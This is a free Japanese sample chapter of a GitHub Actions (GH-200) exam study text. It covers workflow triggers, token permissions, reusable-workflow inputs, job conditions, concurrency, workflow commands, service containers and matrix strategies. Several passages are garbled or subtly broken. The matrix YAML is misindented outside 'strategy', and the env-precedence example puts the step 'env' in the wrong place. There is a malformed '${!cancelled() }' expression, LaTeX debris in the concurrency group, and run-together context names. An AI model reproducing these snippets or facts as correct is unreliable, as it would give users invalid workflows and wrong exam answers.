

GitHub Actions (GH-200) 学習用テキスト

予備知識ゼロから合格ラインへ —— 読んで理解する1冊目

無料サンプル(第1章まで)

GH-200 出題範囲(Study guide・Skills measured as of January 2026)準拠
2026年10月版

ご利用にあたって

- このテキストは「IT資格道場」(www.shikaku-doujou.com)の購入者限定テキストのうち、学習用テキストの第1章までを収録した**無料サンプル**です。どなたでもご覧いただけます。
- 無料サンプルも著作物です。転載・改変しての再配布・二次販売はできません。
- AI モデルの学習データとしてのご利用(学習目的の入力・データセット化を含む)はできません。
- 製品版(学習用テキスト・頻出度別ノート・暗記用ノートの3点)は、ご購入者を識別できる透かし入りのPDFとして提供されます。
- 本PDFはスマートフォン・タブレットでの閲覧に合わせたA5版面・文字サイズで組版しています。

SAMPLE

目次

この試験の範囲 [overview]

第1章 Author and manage workflows

[1.1.1/1.1.2/1.1.3/1.2.1/1.2.2/1.2.3/1.2.4/1.2.5/1.2.6/1.2.7/1.2.8/1.2.9/1.3.1/1.3.2/1.3.3/1.3.4]

起動の仕組み: on とイベントの種類 [1.1.1]

権限・スコープ・イベントの選び方 [1.1.2]

workflow_dispatch の入力と workflow_call の受け渡し [1.1.3]

ジョブ・ステップ・条件 [1.2.1]

ジョブ間の依存と同時実行 [1.2.2]

ワークフローコマンドと環境変数 [1.2.3]

サービスコンテナ [1.2.4]

strategy と matrix [1.2.5]

YAML のアンカーとエイリアス [1.2.6]

コンテキスト [1.2.7]

式の評価 [1.2.8]

エディターの支援 [1.2.9]

キャッシュと成果物の保持 [1.3.1]

ジョブとステップの間でデータを渡す [1.3.2]

ジョブのサマリー [1.3.3]

ステータスバッジと環境の保護 [1.3.4]

サンプルはここまでです

このテキストの位置づけ: 学習用の本編です。これだけで問題が解けるようになることが目標で、仕組み・設定・YAML の読み方を合格ラインの深さで扱います。

SAMPLE

この試験の範囲 [overview]

GitHub Actions(試験コード GH-200) は、ワークフローを書く、動かす、直す、部品を作る、組織で管理する、安全に運用する、といった力を問う試験です。出題はYAMLの断片や設定画面の項目を見せて、「何が起きるか」「どこを直すか」を選ばせる形が中心です。用語の暗記だけでは足りません。

範囲は5つの分野に分かれます。このテキストも、同じ順に章を立てます(下の表)。配点は Microsoft の公式学習ガイド(Skills measured as of January 2026)に書かれた幅です。

分野	配点	内容
1 ワークフローを作り、管理する	20～25%	トリガー、ジョブ、マトリックス、コンテキスト、式、キャッシュ、成果物
2 ワークフローを使い、障害を調べる	15～20%	実行ログ、再利用ワークフロー、テンプレート、成果物の取得
3 アクションを作り、保守する	15～20%	アクションの種類、action.yml、ワークフローコマンド、公開
4 エンタープライズ向けに管理する	20～25%	共有、使用ポリシー、ランナー、シークレットと変数
5 自動化を安全に保ち、最適化する	10～15%	環境の保護、GITHUB_TOKEN、OIDC、構成証明、キャッシュ

受験料・合格ラインは、申し込み前に Microsoft の公式ページで最新情報を確認してください。

第1章 Author and manage workflows

[1.1.1/1.1.2/1.1.3/1.2.1/1.2.2/1.2.3/1.2.4/1.2.5/1.2.6/1.2.7/1.2.8/1.2.9/1.10]

この章はワークフローを書いて動かす側の知識を扱います。試験の中で最も出題が厚い分野で、配点は 20〜25% です。[^c1-1]

流れは 3 つの塊です。1 つ目は何で起動するか(トリガーとイベント)。2 つ目は起動したワークフローの組み立て(ジョブ・ステップ・マトリックス・コンテキスト・式)。3 つ目は実行の結果と出力の扱い(キャッシュ・成果物・サマリー・バッジ・環境)です。設問の多くは YAML の断片を読ませ、「何が起きるか」「どこを直すか」を選ばせる形です。

起動の仕組み: on とイベントの種類 [1.1.1]

ワークフローは `.github/workflows` に置く `.yaml` か `.yml` のファイルです。サブディレクトリは使えません。`on:` に書いたイベントのどれか 1 つが起これば起動します。

```
on:
  push:
    branches: [main]
  pull_request:
  workflow_dispatch:
```

イベントにフィルターや `types` を付けるときは、設定を持たないイベントにもコロンを付けます。上の `pull_request:` と `workflow_dispatch:` がその形です。[^c1-2]

イベントは起動の仕方で 6 つに分けて覚えます。

分類	イベント	起こるきっかけ
リポジトリ	push	コミットかタグの push、テンプレートからのリポジトリ作成
リポジトリ	pull_request	PR の作成・更新など(マージコミットの文脈で動く)
スケジュール	schedule	cron の時刻
手動	workflow_dispatch	Actions タブ、GitHub CLI、REST API
webhook / 外部	repository_dispatch	REST API で送るカスタムイベント
連鎖	workflow_run	別のワークフローの完了
呼び出し	workflow_call	別のワークフローからの呼び出し

push は、ブランチが 5,000 本を超える同時 push や、タグ 4 本以上の同時 push ではイベントが作られません。[^c1-2]

schedule と cron

schedule は POSIX の cron 構文で、5 つのフィールド(分・時・日・月・曜日)を空白で区切ります。例は `- cron: "15 4,5 * * *"` で、毎日 4:15 と 5:15 に動きます。

```
# 5 フィールドの読み方を確かめた例
fields = "15 4,5 * * *".split()
print(dict(zip(["分", "時", "日", "月", "曜日"], fields)))
# {'分': '15', '時': '4,5', '日': '*', '月': '*', '曜日': '*'}
```

schedule の規則には数字が多く、そのまま出題されます。

項目	内容
既定のタイムゾーン	UTC。IANA の文字列 (例 America/New_York) を timezone で指定すると変えられる。timezone は 2026-03 に加わった設定で、試験の版より後
最短の間隔	5 分に 1 回
動くコミット	常にデフォルトブランチの最新コミット。ワークフローのファイルがデフォルトブランチに無いと発火しない
自動の無効化	公開リポジトリで 60 日間リポジトリの活動が無いと無効になる。Actions タブから再び有効にする
遅延	高負荷の時間帯に遅れる。毎時 0 分は混みやすく、負荷が高いと待ちのジョブが破棄されることもある。分をずらすとよい

[^c1-2]

間違えやすい点は 2 つあります。feature ブランチに置いた schedule は、マージするまで一度も動きません。`timezone` を指定しなければ、時刻を日本時間のつもりで書いても UTC として読まれるので、9 時間ずれます。

手動の起動と外からの起動

`workflow_dispatch` を書くと、Actions タブの「Run workflow」ボタン、GitHub CLI、REST API の 3 経路で手動起動できます。ボタンはこのイベントを使うファイルにだけ出ます。起動にはリポジトリの `write` アクセスが必要で、ワークフローのファイルがデフォルトブランチにあることも前提です。[^c1-3]

GitHub CLI は `gh workflow run WORKFLOW` で起動します (WORKFLOW には名前・ID・ファイル名のどれかを渡します)。入力は `-f key=value` (文字列) か `-F key=value`、または `--json` で標準入力の JSON から渡します。デフォルト以外のブランチは `--ref` で指定します。

`repository_dispatch` は REST API から送るイベントです。`event_type` は 100 文字まで。`client_payload` は最上位のプロパティが 10 個まで、全体で 65,535 文字までで、ワークフロー側では `github.event.client_payload` で読みます。[^c1-2][^c1-3]

フィルターとアクティビティの種類

push と pull_request は branches ・ tags ・ paths で絞れます。それぞれに反対の branches-ignore ・ tags-ignore ・ paths-ignore があります。同じイベントの中で branches と branches-ignore は併用できません。除外したいときは branches の中に ! で始めるパターンを書きます。! のパターンは、先に書いた包含パターンを後から打ち消す順序で効くので、包含のパターンより後ろに書きます。! のパターンの後ろに、同じ ref に合う包含パターンがあると、その ref は再び対象に戻ります(後ろの包含が勝つ)。

types を省略した pull_request は、opened・synchronize・reopened のときだけ動きます。ラベルの付与やレビューの依頼では動かないので、動かしたいときは types: [opened, labeled] のように明示します。マージコンフリクトがある PR では pull_request は動きません。同じ状況でも動くのは pull_request_target です。[^c1-2]

フィルターでワークフロー自体がスキップされると、そのワークフローのチェックは Pending のまま残ります。必須チェックにしている PR はマージできません。ジョブの if によるスキップは別物で、スキップされたジョブは成功として扱われます(1.2.1 で扱います)。[^c1-4]

workflow_run の連鎖

workflow_run は別のワークフローの完了を受けて起動するイベントです。連鎖できるのは 3 段までで、A→B→C→D のあと E と F は動きません。[^c1-2]

権限・スコープ・イベントの選び方 [1.1.2]

GITHUB_TOKEN が起こしたイベント

リポジトリの GITHUB_TOKEN で起こしたイベントは、例外を除いて新しいワークフロー実行を作りません。ワークフローがワークフローを呼び続ける無限の連鎖を防ぐための規則です。

起こしたイベント	実行が作られるか
workflow_dispatch	常に作られる
repository_dispatch	常に作られる
pull_request の opened・synchronize・reopened	承認待ちの状態で作られる(2026-06 からの扱いで、試験の版より後。それより前は作られない)
pull_request のそれ以外の types	作られない
push など上記以外	作られない

承認待ちの実行は、write アクセスを持つ人が「Approve workflows to run」を選ぶと始まる仕組みです。この承認待ち は 2026-06 に加わった扱いで、試験の版(2026 年 1 月時点)では、GITHUB_TOKEN で起こした pull_request も実行が作られません。[^c1-4]

あるワークフローが push して別のワークフローを自動で連鎖させたい場合は、GITHUB_TOKEN は使えません。代わりに GitHub App のインストールアクセストークンか PAT を使ってください。承認のプロンプトなしで pull_request も動きます。[^c1-4]

permissions の書き方

permissions はワークフロー全体 (トップレベル) にもジョブにも書けます。指定できる値は read・write・none の 3 つで、write は read を含みます。

```
permissions:
  contents: read
jobs:
  release:
    permissions:
      contents: write
      id-token: write
```

権限まわりの規則は、そのまま設問になります。

規則	内容
一部だけ書いたとき	書かなかった権限はすべて none になる
一括指定	read-all と write-all 。permissions: {} は全権限を無効にする
算出の順序	enterprise・organization・repository の既定値から始まり、ワークフロー、ジョブの順に調整される
id-token	OIDC トークンの取得に id-token: write が要る。値は write か none のみ
推奨	既定は contents の read のみにし、必要なジョブだけ引き上げる (最小権限)

[^c1-5][^c1-6]

フォークからの PR と pull_request_target

フォークから出された PR のワークフローには強い制限があり、柱は 2 点です。GITHUB_TOKEN は読み取り専用になり、GITHUB_TOKEN 以外のシークレットはランナーに渡りません。非公開リポジトリでは、管理者が「Send write tokens to workflows from pull requests」を選んだときだけ、フォークの PR にも write を付けられます (この設定は非公開リポジトリのフォーク向けです)。Dependabot の PR で起動した実行もフォークと同じ扱いで、トークンは読み取り専用、Actions のシークレットは使えません (使えるのは Dependabot シークレットとして登録した値です)。

[^c1-5][^c1-7]

2 つのイベントの違いは、動く文脈・トークン・シークレットの 3 点です。

項目	pull_request	pull_request_target
動く文脈	PR のマージコミット	ベースリポジトリのデフォルトブランチ
フォークからのトークン	読み取り専用	read と write のリポジトリ権限が付く (公開フォークからでも)

項目	pull_request	pull_request_target
シークレット	フォークには渡らない	使える
向く用途	PR のコードのビルドとテスト	ラベル付けやコメントなど、PR のコードを実行しない作業

pull_request_target で PR のコードをチェックアウトしてビルドや実行をする構成は避けます。特権のある文脈で、第三者のコードを動かすことになるからです。[^c1-5]

外部の貢献者がフォークから PR を出し、そのテストが secrets.NPM_TOKEN を必要とする場面です。pull_request では GITHUB_TOKEN 以外のシークレットが渡らないので、NPM_TOKEN は空の値になります。しかも GITHUB_TOKEN は読み取り専用なので、結果を PR ヘコメントで書き戻すこともできません。書き戻しの処理は workflow_run で受ける別のワークフローに置くか、PR のコードを動かさない pull_request_target に置きます。[^c1-5][^c1-7]

workflow_run と workflow_call の使い分け

workflow_run で起動したワークフローは、先行のワークフローが非特権（フォークの PR など）でも、シークレットと write のトークンにアクセスできます。「テストは特権なしで動かし、結果の受け取りだけ特権で動かす」という二段構えに使います。

workflow_call は別のワークフローが呼び出す再利用の仕組みです。呼び出された側はジョブとして呼ばれ、新しい独立した実行にはなりません。実行の連鎖を作るなら workflow_run、処理を部品として呼ぶなら workflow_call と覚えます。次の節で詳しく見ます。

workflow_dispatch の入力と workflow_call の受け渡し [1.1.3]

workflow_dispatch の inputs

```
on:
  workflow_dispatch:
    inputs:
      env_name:
        type: choice
        options: [dev, stage, prod]
        required: true
        default: dev
      debug:
        type: boolean
        default: false
```

type は boolean・choice・number・environment・string のどれかです。choice は options に選択肢を並べ、文字列に解決されて 1 つだけ選べます。required は指定が必須かを示す真偽値で、ブラウザから実行するとき必須の入力を埋めないと実行できません。入力是最上位のプロパティが 25 個まで、ペイロードは 65,535 文字までです。

REST API で起動するとき、リクエストボディで `ref` と `inputs` を渡します。`inputs` を省略すると、ワークフローのファイルに書いた既定値が使われます。[^c1-3][^c1-8]

inputs コンテキストと github.event.inputs

両者の中身は同じです。違いは型の保ち方だけです。`inputs` コンテキストは boolean を真偽値のまま保持し、`github.event.inputs` はすべてを文字列に変換します。

```
- if: ${{ inputs.debug }}           # 真偽値として判定される
- if: ${{ github.event.inputs.debug }} # 文字列 "false" は空でないので真と読まれる
```

`inputs` は `workflow_dispatch` と再利用可能ワークフローの中でだけ使えます。[^c1-8]

workflow_call の inputs と secrets

呼ばれる側は `on.workflow_call` で入力とシークレットを宣言します。

```
on:
  workflow_call:
    inputs:
      target:
        type: string
        required: true
    secrets:
      token:
        required: true
    outputs:
      url:
        value: ${{ jobs.deploy.outputs.url }}
```

呼ぶ側はジョブの `uses` で呼び、`with:` で入力を、`secrets:` でシークレットを渡す形です。

```
jobs:
  call:
    uses: org/repo/.github/workflows/deploy.yml@v1
    with:
      target: prod
    secrets:
      token: ${{ secrets.DEPLOY_TOKEN }}
```

`workflow_call` まわりの規則は数が多く、設問でも個別に問われます。

項目	内容
入力 type	workflow_call では必須で、boolean・number・string のみ。 choice と environment は無い
型別の既定値	default 未指定なら boolean は false、number は 0、string は空 文字列
型の一致	呼ぶ側が渡す値の型は、呼ばれる側で宣言した型と一致させる
未定義を渡したとき	呼ばれる側で定義していない入力やシークレットを渡すとエラー
secrets: inherit	同じ organization が enterprise の再利用可能ワークフローを呼 ぶとき、呼び出し側のシークレットを暗黙にすべて渡せる
inherit しないとき	シークレットは自動では渡らない。A→B→C のネストでは、B から C へも明示して渡す
宣言したシークレットの渡し忘れ	エラーにならず空文字列になる。required: true を付ければ失 敗させられるが、値の中身までは検査しない(環境シークレットの扱 いは、試験の版と今の公式文書で書き方が分かれる)
outputs	value には呼ばれる側のジョブ出力を割り当てる。ステップ出力は 先にジョブ出力へ対応付ける
呼べる場所	ジョブ直下の uses だけ。ステップの中では呼べない
ジョブで使えるキー	name・uses・with・secrets・strategy・needs・if・concurrency・ permissions・cache-mode
深さと本数	連鎖は呼び出し元を含めて最大 10 レベル(呼び出し元+9 段)。1 ファイルから呼べる一意なワークフローは最大 50 個

[^c1-8][^c1-9]

再利用可能ワークフローはジョブ単位で呼ぶので、ステップではありません。そのため GITHUB_ENV を書いて呼び出し側のステップへ値を渡すことはできず、値は outputs で返す決まりです。マトリックスを持つジョブから再利用可能ワークフローを呼ぶこともでき、target: [dev, stage, prod] なら 3 つのジョブになります。

出題の型は、呼び出し側が secrets: inherit も secrets: の対応付けも書かず、呼ばれる側が secrets.token を required: true で宣言している場面です。必須のシークレットが渡らないので、呼び出しはエラーで止まります。宣言が required: true でなく、環境シークレットを渡し忘れただけなら、エラーは出ません。値が空になるだけで、後続のステップが認証で止まって初めて気づきます。[^c1-9]

ジョブ・ステップ・条件 [1.2.1]

ワークフローは jobs の集まりで、ジョブは steps の並びです。ジョブは既定で並列に動き、それぞれ別のランナーに載ります。ステップは同じランナーの中で、上から順に動くものです。

```
jobs:
  build:
    name: Build and test
    runs-on: ubuntu-latest
    steps:
      - id: checkout
        uses: actions/checkout@v4
      - name: Test
        run: npm test
```

`uses` は既存のアクションを呼び、`run` はシェルのコマンドを実行します。1つのステップに `uses` と `run` を両方は書けません。

キー	意味と規則
<code>jobs.<job_id></code>	<code>jobs</code> 内で一意。先頭は英字が <code>_</code> 、以降は英数字・ <code>-</code> ・ <code>_</code> のみ
<code>jobs.<job_id>.name</code>	GitHub の画面に出す表示名
<code>steps[*].id</code>	一意の id を付けると <code>steps</code> コンテキストから参照できる
<code>steps[*].name</code>	ステップの表示名

各ステップはランナー内の別プロセスで動きます。環境変数をステップ内で変えても、次のステップには残りません。引き継ぎたい値は後述の `GITHUB_ENV` や `GITHUB_OUTPUT` に書きます。ステップ数に上限はありませんが、画面に出るチェックは最初の 1,000 件までです。[^c1-10]

if とステータス関数

`if` は式として自動で評価されるので `${{ }}` を省略できますが、式が `!` で始まるときだけは YAML の予約記号に当たるため、`${{ }}` が引用符で囲みます。

```
- if: ${{ !cancelled() }}      # ! で始まるので ${{ }} が必須
- if: github.ref == 'refs/heads/main'
```

関数	true になる条件
<code>success()</code>	先行のステップ(ジョブ)がすべて成功した。ステータス関数を含まない <code>if</code> には、これが暗黙に付く
<code>failure()</code>	先行のステップが失敗した。ジョブでは、依存の連鎖のどこかの祖先が失敗しても true
<code>cancelled()</code>	ワークフローがキャンセルされた
<code>always()</code>	常に。キャンセルされても true

失敗の後も動かしたいステップには `if: ${{ failure() }}` か `if: ${{ always() }}` を書きます。`failure()` に追加条件を付けるとき(例 `if: failure() && inputs.notify`)は、`failure()` を併記する必要があります。併記しないと既定

の `success()` が適用され、失敗後は動きません。[^c1-11]

`always()` はキャンセルされたときも `true` を返すので、ソースの取得のような致命的な処理には勧められません。成否にかかわらず実行しつつ、キャンセルでは止めたいときは `if: ${!cancelled() }` を使います。[^c1-11]

ジョブの `if` は、`strategy.matrix` が適用される前に評価されます。そのためジョブの `if` から `matrix` コンテキストは読めません。[[...]] のようなシェルの条件は `jobs.<job_id>.if` では評価できないので、`steps[*].run` の中に書きます。[^c1-10]

スキップされたジョブの扱い

ジョブの `if` でスキップされたジョブは「Success」として報告され、必須チェックでも PR のマージを妨げません。ブランチ・パスのフィルターやコミットメッセージでワークフロー自体がスキップされた場合は逆に、チェックは Pending のまま残り、必須チェックのある PR はマージできません。[^c1-10]

continue-on-error・timeout・shell

キー	規則
<code>steps[*].continue-on-error</code>	<code>true</code> にするとそのステップが失敗してもジョブは成功扱い
<code>jobs.<id>.continue-on-error</code>	<code>true</code> にしたジョブが失敗しても、ワークフロー実行は失敗にならない
<code>jobs.<id>.timeout-minutes</code>	既定は 360 分。ランナー側の上限が短ければそちらが優先
<code>steps[*].timeout-minutes</code>	最大 360。GitHub ホストでもセルフホストでも同じ。小数は不可で正の整数
<code>defaults.run</code>	<code>run</code> ステップの <code>shell</code> と <code>working-directory</code> の既定値。ジョブ単位でも書ける。 <code>contexts</code> や式を使えるかは Docs の節によって書き方が違う(<code>defaults.run</code> の節は「使えない」、 <code>defaults.run.shell</code> と <code>defaults.run.working-directory</code> の節は「いくつかのコンテキストを参照できる」)

Windows の既定のシェルは `pwsh` (PowerShell Core) で、セルフホストランナーに無ければ PowerShell Desktop です。コンテナの中の `run` の既定は `bash` ではなく `sh` です。[^c1-10][^c1-11]

バックグラウンドステップもあります(2026-06-25 の changelog で発表された機能で、試験の版(2026 年 1 月時点)より後に加まりました)。`background: true` を付けたステップは待たずに次へ進み、同時に動かせるのはジョブあたり最大 10 個で、超えた分は空きが出るまでキューで待ちます。`wait`・`wait-all`・`cancel` のステップで同期や停止をします。この 3 つは常に動き、`if` を付けられません。[^c1-11]

ジョブ間の依存と同時実行 [1.2.2]

`needs` に先に成功すべきジョブを書きます。文字列か、文字列の配列です。

```
jobs:
  build: {runs-on: ubuntu-latest, steps: [{run: make}]}
  test:
    needs: build
    runs-on: ubuntu-latest
    steps: [{run: make test}]
  deploy:
    needs: [build, test]
    if: ${{ always() }}
    runs-on: ubuntu-latest
    steps: [{run: make deploy}]
```

`needs` を書かないジョブは並列に動きます。`needs` 先が失敗かスキップされると、依存するジョブは連鎖の下流まですべてスキップされます。条件式で継続させない限りこの結果は変わりません。依存先が失敗しても動かしたいジョブには `if: ${{ always() }}` を `jobs.<job_id>.if` に書きます。[¹][²]

上の例では、`build` が失敗すると `test` はスキップされますが、`deploy` は `always()` のおかげで動いてしまいます。本当に動かしたくないなら `if: ${{ needs.test.result == 'success' }}` のように結果を判定します。

needs コンテキスト

`needs.<job_id>.result` は `success`・`failure`・`cancelled`・`skipped` のどれかです。`needs.<job_id>.outputs.<名前>` で依存先のジョブ出力を文字列として読みます。`needs` コンテキストに入るのは直接の依存先だけで、依存の依存（暗黙の依存）は含まれません。孫のジョブの出力が欲しいときは、`needs` に孫も書きます。[¹][³]

concurrency

同じ `concurrency` グループに実行中のものがあるあいだ、新しい実行は `pending` になります。すでに `pending` のものがあれば取り消され、新しい実行に置き換わります。実行中のものも取り消したいときは `cancel-in-progress: true` を付けます。

```
concurrency:
  group: deploy- $\{\{\text{github.head\_ref} \parallel \text{github.run\_id}\}\}$ 
  cancel-in-progress: true
```

項目	内容
既定	<code>queue</code> は <code>single</code> 。待機できるのは 1 件
<code>queue: max</code>	同じグループで最大 100 件まで待機でき、超過分は取り消される。待機は待ち始めた順 (FIFO) だが、開始時刻がずれるため順序は保証されない。2026-05 に加わった設定で、試験の版より後
<code>max</code> と <code>cancel-in-progress</code>	<code>queue: max</code> と <code>cancel-in-progress: true</code> の併用は検証エラー

項目	内容
グループ名	大文字小文字を区別しない。 <code>prod</code> と <code>Prod</code> は同じ。式を使う
ワークフローレベルで使えるコンテキスト	<code>github.inputs.vars</code> だけ
ジョブレベルで使えるコンテキスト	<code>github.needs.strategy.matrix.inputs.vars</code>
<code>github.head_ref</code>	<code>pull_request</code> か <code>pull_request_target</code> のときだけ値が入る。 <code>\${{github.head_ref github.run_id}}</code> のようにフォールバックを付ける

[^c1-14]

main への push が 3 回続き、3 回とも同じグループ名で、`cancel-in-progress` を書いていない場合、1 回目は実行中のままです。2 回目は pending になります。3 回目があると、pending の 2 回目は取り消され、3 回目が pending に置き換わります。`cancel-in-progress: true` を付けると、実行中の 1 回目も取り消されます。[^c1-14]

環境 (environment) に必須のレビュー担当者を付けると、承認されるまでそのジョブは動きません。`needs` と組み合わせると、公開ジョブを承認の後段に置けます。詳細は 1.3.4 で扱います。

ワークフローコマンドと環境変数 [1.2.3]

ワークフローコマンド

多くのコマンドは `echo "::command parameter1={data}::{value}"` の形で標準出力に書きます。コマンド名とパラメータ一名は大文字小文字を区別しません。一部のコマンドは環境ファイルへの書き込みです。

コマンド	働き
<code>::error::</code> <code>::warning::</code> <code>::notice::</code>	アノテーションを作る。 <code>title</code> ・ <code>file</code> ・ <code>col</code> ・ <code>endColumn</code> ・ <code>line</code> ・ <code>endLine</code> を指定できる。 <code>file</code> の既定は <code>.github</code> 、 <code>line</code> と <code>endLine</code> の既定は 1
<code>::group::{title}</code> と <code>::endgroup::</code>	間の出力をログ内の折りたたみグループにする
<code>::add-mask::{value}</code>	値をログ上で * に置き換える。ジョブごとに値ごと 1 回。ログに出したり、ほかのコマンドで使ったりする前に登録する。マスクした値をジョブの出力にすると伏せられ、ほかのジョブには渡らない
<code>::debug::</code>	デバッグのメッセージ。見るには <code>ACTIONS_STEP_DEBUG</code> を true にする
<code>::stop-commands::{endtoken}</code>	コマンドの処理を止め、 <code>::{endtoken}::</code> で再開する。トークンは実行ごとにランダムで一意にする

[^c1-15]

環境ファイルは用途ごとに分かれています。

ファイル	用途
<code>GITHUB_OUTPUT</code>	ステップの出力
<code>GITHUB_ENV</code>	後続ステップの環境変数

ファイル	用途
GITHUB_PATH	PATH への追加
GITHUB_STEP_SUMMARY	ジョブのサマリー
GITHUB_STATE	アクションの状態

toolkit の `core.setFailed` は、`::error` の出力と `exit 1` の近道です。[^{^c1-15}]

env のスコープ

`env` はワークフロー全体(トップレベル)、ジョブ(`jobs.<job_id>.env`)、ステップ(`steps[*].env`) の 3 段に書け、定義した要素の中だけで有効です。同じ名前があれば、最も限定的なものが勝ちます。優先順位はステップ、ジョブ、ワークフローの順です。`env` の中で別の変数を使って定義することはできません。[^{^c1-16}]

```
env:
  LEVEL: workflow

jobs:
  j:
    env:
      LEVEL: job
    runs-on: ubuntu-latest
    steps:
      - run: echo $LEVEL          # job
      - run: echo $LEVEL          # step
    env:
      LEVEL: step
```

既定の環境変数とコンテキスト

`GITHUB_SHA`・`GITHUB_REF`・`GITHUB_WORKSPACE`・`RUNNER_OS` などの既定の環境変数は、GitHub が設定します。これらは `env` コンテキストからは読めません。対応する `github.sha`・`github.ref`・`runner.os` などのコンテキストを使います。`GITHUB_*` と `RUNNER_*` は上書きできません。`NODE_OPTIONS` は `GITHUB_ENV` では設定できません。[^{^c1-15}][^{^c1-16}]

`GITHUB_ENV` に `echo "NAME=value" >> "$GITHUB_ENV"` と書くと、後続のステップが変数を使えます。書いたステップ自身は新しい値を見られません。複数行の値は `{name}<<{delimiter}` で始め、区切り文字だけの行で閉じます。区切り文字には、値の中に単独の行として現れない文字列を選びます。[^{^c1-15}]

構成変数 (vars)

組織・リポジトリ・環境に設定する構成変数は、`vars` コンテキストで読みます。

項目	内容
1 つあたりの大きさ	48 KB
個数	組織 1,000 個、リポジトリ 500 個、環境 100 個

項目	内容
実行ごとの合計	組織とリポジトリの変数で 256 KB
名前	英数字と <code>_</code> のみ。空白は不可。GITHUB_ で始めない。数字で始めない。参照では大文字小文字を区別しない
同名のとき	下位が優先。環境、リポジトリ、組織の順
未設定のとき	空文字列

[^c1-16][^c1-17]

呼び出し側のワークフローレベルの `env` は、呼ばれた再利用可能ワークフローに伝わりません。複数のワークフローで共有するなら、構成変数と `vars` を使うのが筋です。[^c1-17]

デバッグログ

デバッグログは、シークレットか変数を作って有効にします。 `ACTIONS_RUNNER_DEBUG=true` ならランナーの診断ログが、 `ACTIONS_STEP_DEBUG=true` ならステップのデバッグ出力 (`::debug::` のメッセージ) が出ます。同名のシークレットと変数が両方あるときは、シークレットが優先です。有効なときは `runner.debug` が 1 になります。画面の「Re-run jobs」にある「Enable debug logging」でも有効にでき、その場合はシークレットも変数も作りません。[^c1-18]

サービスコンテナ [1.2.4]

データベースやキューなど、ジョブが依存するサービスを Docker コンテナと一緒に起動する仕組みです。サービスごとに新しいコンテナが作られ、ジョブの終了時に破棄されます。ジョブ内のステップから通信でき、ワークフローの外からは見えません。

```
jobs:
  test:
    runs-on: ubuntu-latest
    services:
      postgres:
        image: postgres:16
        env:
          POSTGRES_PASSWORD: pw
        ports:
          - 5432:5432
        options: >-
          --health-cmd pg_isready
          --health-interval 10s
          --health-timeout 5s
          --health-retries 5
    steps:
      - run: psql -h localhost -p 5432 -U postgres -c 'select 1'
```

`options` に Docker の `--health-cmd`・`--health-interval`・`--health-timeout`・`--health-retries` を書きます。こうして、サービスが起動を終えるまでステップの開始を待たせる仕組みが正常性チェックです。`options` は `docker create` に渡す引数で、`--network` は使えません。

接続先はジョブの動き方で変わる

ジョブの動き方	接続先	ポートの設定
ランナーで直接動く	<code>localhost:<port></code> か <code>127.0.0.1:<port></code>	必要。サービスのポートをホストへ公開しておく
コンテナの中で動く (<code>container:</code>)	ワークフローで付けたラベル名 (例 <code>redis</code>)	不要。ユーザー定義のブリッジネットワークで接続される

同じ Docker ネットワーク上のコンテナどうしは、全ポートを互いに公開します。ネットワークの外へは公開されません。`job` コンテキストには、`job.container.id` と `job.container.network` が入ります。サービスについては `job.services.<service_id>` の `id`・`network`・`ports` です。[^c1-19]

ポートの書き方は 3 通りあります。

書き方	意味
<code>8080:80</code>	コンテナの TCP 80 をホストの 8080 へ
<code>8080:80/udp</code>	UDP
<code>6379/tcp</code>	ホスト側を省略。空きポートがランダムに割り当てられる

ランダムに割り当てられた実ポートは、`job.services.<service_id>.ports['6379']` で読みます。[^c1-19]

場面で確かめます。ジョブに `container: node:20` を書き、`services` に `postgres` を置いたとします。この構成では接続先のホスト名は `postgres` で、`localhost` では届かず、`ports` の指定も要りません。`container` を外してランナーで直接動かす構成なら、接続先は `localhost:5432` に変わります。そのときは `ports: [5432:5432]` でホストへ公開しておく必要があります。[^c1-19]

そのほかの規則

項目	規則
ランナー	Docker コンテナアクション・ジョブコンテナ・サービスコンテナは Linux のランナーでだけ使える。GitHub ホストなら Ubuntu、セルフホストなら Docker が入った Linux
複合アクション	composite action の中でサービスコンテナは作れない
image	空文字列を代入するとサービスは起動しない。条件付きのサービスに使える
credentials	<code>username</code> と <code>password</code> を渡す。プライベートレジストリや Docker Hub のレート制限の回避に使う。 <code>docker login</code> と同じ値

項目	規則
command / entrypoint	command はCMD を、entrypoint はENTRYPOINT を上書きする。併用すると entrypoint に引数を渡せる。2026-04 に加わったキ ーで、試験の版より後
env / volumes	env はコンテナの環境変数、volumes は <source>: <destinationPath> 形式のボリューム

`jobs.<job_id>.container` を指定すると全ステップがコンテナの中で動きます。コンテナアクションは、同じネット
ワーク・同じボリュームの兄弟コンテナとして動きます。[^c1-19]

strategy と matrix [1.2.5]

マトリックスは、軸 (OS や言語のバージョン) の組み合わせごとにジョブを生成します。

```
jobs:
  test:
    runs-on: ${{ matrix.os }}
    strategy:
      fail-fast: false
      max-parallel: 2
    matrix:
      os: [ubuntu-latest, windows-latest]
      node: [18, 20]
      include:
        - os: windows-latest
          node: 20
          npm: "10"
        - os: macos-latest
          node: 20
      exclude:
        - os: windows-latest
          node: 18
    steps:
      - run: node --version
```

軸は 2×2 の 4 通りですが、include と exclude を適用して python で展開を再現すると、次の 4 ジョブになります。

```
{'os': 'ubuntu-latest', 'node': 18}
{'os': 'ubuntu-latest', 'node': 20}
{'os': 'windows-latest', 'node': 20, 'npm': '10'}
{'os': 'macos-latest', 'node': 20}
```

windows の node 18 は exclude で消え、windows の node 20 には include の `npm` が加わります。macos は軸のどれにも当たらないので、新しい組み合わせとして追加されています。

項目	規則
生成できるジョブ数	1 回の実行で最大 256 個。GitHub ホストもセルフホストも共通
変数名	大文字小文字を区別しない。最初に定義した変数の組み合わせから順にジョブが作られる
include	各オブジェクトは、元の値を上書きしないなら既存の組み合わせすべてに追加される。追加できなければ新しい組み合わせになる。元の値は上書きされないが、追加済みの値は上書きされうる
exclude	部分一致で除外できる
処理順	include はすべて exclude の後に処理される。除外した組み合わせを include で戻せる
include だけ	マトリックス変数を書かなければ、include の全エントリが実行される
動的な生成	前のジョブの出力を <code>fromJson(needs.<job>.outputs.<name>)</code> で matrix に渡す
strategy コンテキスト	<code>job-index</code> はゼロ始まり、 <code>job-total</code> は 1 始まりの総数。 <code>fail-fast</code> ・ <code>max-parallel</code> も読める

[^c1-20][^c1-13]

fail-fast と max-parallel

`fail-fast` の既定は true です。1 つのジョブが失敗すれば、マトリックス内の実行中と待機中のジョブをすべてキャンセルします。式でも指定できます。`continue-on-error` は個別のジョブに効きます。`continue-on-error: true` のジョブが失敗しても、ほかのジョブは影響を受けません。マトリックス全体に効くのが `fail-fast`、1 つのジョブに効くのが `continue-on-error` です。

